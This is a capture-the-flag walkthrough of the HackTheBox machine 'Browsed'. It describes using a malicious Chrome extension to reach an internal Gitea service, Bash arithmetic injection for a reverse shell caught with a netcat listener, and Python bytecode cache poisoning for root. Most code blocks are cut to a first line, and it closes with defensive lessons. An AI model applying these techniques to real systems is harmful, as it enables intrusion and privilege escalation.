Browsed is a medium-difficulty Linux machine from HackTheBox that involves exploiting a Chrome extension testing platform through Bash arithmetic injection and Python bytecode cache poisoning. This machine demonstrates how browser extensions can be weaponized to reach internal services and exploit command injection vulnerabilities in backend scripts.
# Machine Information
Name: Browsed
OS: Linux (Ubuntu)
Difficulty: Medium
Points: 30
IP: 10.129.x.x
# Reconnaissance
# Port Scanning
root@kali:~$ nmap -sC -sV 10.129.x.x |
Two open ports: SSH (22) and HTTP (80). The web service is running on nginx 1.24.0.
# Web Application Analysis
The website at port 80 is a Chrome extension testing service. Users can upload .zip extensions that get tested by a "developer" (automated bot). Key observations:
- Chrome Version 134 is explicitly supported (current version is 145 - outdated)
- Extensions must be directly in the archive root, not in a subfolder
- Sample extensions are available for download
- Extensions run with
<all_urls>permission (can access any URL including localhost)
This means our extension can make requests to
localhostservices that aren't accessible externally!
# Discovery of Internal Service
After uploading a reconnaissance extension with debug logging, Chrome debug output revealed an internal service:
1 | NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/ |
Let's add this to /etc/hosts and check it out:
root@kali:~$ echo "10.129.x.x browsedinternals.htb browsed.htb" | sudo tee -a /etc/hosts |
Visiting http://browsedinternals.htb/ reveals a Gitea instance with a public backup repository containing Flask application source code - our goldmine!
# Initial Access
# Vulnerability: Bash Arithmetic Injection
The Gitea repository contains two critical files in the backup:
app.py- Flask application that accepts a route ID parameterroutines.sh- Bash script executed with user-controlled input
The vulnerable code in routines.sh:
#!/bin/bash |
The
-eqoperator in Bash performs arithmetic evaluation, which means the input is evaluated as a mathematical expression before comparison. This is dangerous!
We can inject commands via array indexing syntax:
# Normal: [[ "0" -eq 0 ]] → true |
# Crafting the Malicious Extension
Create a malicious extension with the following structure:
manifest.json:
1 | { |
content.js - The malicious payload:
1 | (async function() { |
Package and upload the extension:
root@kali:~$ zip -j malext.zip manifest.json content.js |
Start a listener and catch the shell:
root@kali:~$ nc -lvnp 443 |
Bingo! We got our shell! Let's grab the user flag:
larry@browsed:~$ cat user.txt |
# Privilege Escalation
# Sudo Permissions Enumeration
larry@browsed:~$ sudo -l |
We can run a Python script as root. Let's investigate it:
larry@browsed:~$ ls -la /opt/extensiontool/ |
The
__pycache__directory has 777 permissions! This is our ticket to root!
# Python Bytecode Cache Poisoning Attack
Python caches compiled bytecode in __pycache__ directories as .pyc files with a 16-byte header containing:
- Bytes 0-3: Magic number (Python version identifier)
- Bytes 4-7: Bitfield/Padding
- Bytes 8-11: Timestamp of source file (Little Endian uint32)
- Bytes 12-15: Size of source file (Little Endian uint32)
If the timestamp and size in the .pyc header match the actual .py file, Python loads the cached bytecode without checking the source!
Our attack plan:
- Create malicious
extension_utils.pywith our backdoor functions - Compile it to
.pycbytecode - Read the real
extension_utils.pytimestamp and size - Patch our malicious
.pycheader with those values - Drop the poisoned
.pycin__pycache__ - Run the sudo script → Python loads our backdoor!
# Exploitation Script
1 | # pwn.py - Python bytecode poisoning exploit |
Run the exploit and trigger the backdoor:
larry@browsed:/tmp$ python3 pwn.py |
And we're root! Let's grab the flag:
rootbash-5.2# cat /root/root.txt |
# Key Takeaways & Lessons Learned
# For Red Teamers
- Browser Extension Attacks: Extensions with
<all_urls>permission can reach internal services inaccessible from outside - Port 443 for Shells: HTTPS port is rarely blocked by egress firewalls - always try it first
- Bash Arithmetic Contexts: Search for
-eq,-ne,-ltoperators with user input - they're dangerous! - Cache Directory Hijacking: Always check permissions on
__pycache__,.class,.sodirectories
# For Blue Teamers & Developers
- Extension Security: Implement strict CSP policies and extension source restrictions
- Input Validation: NEVER use arithmetic comparison operators (
-eq) with user input in bash scripts - File Permissions: Cache directories should be
755, never777 - Principle of Least Privilege: Scripts executed with sudo should drop privileges ASAP
# The Vulnerable Pattern to Avoid
# VULNERABLE - evaluates input as arithmetic expression |
# Conclusion
Browsed was an excellent introduction to modern attack vectors involving browser-based exploitation and Python internals. The bash arithmetic bug is particularly nasty and appears in real-world code. Great machine for learning!
Pwned: 2026-01-16
Difficulty: Medium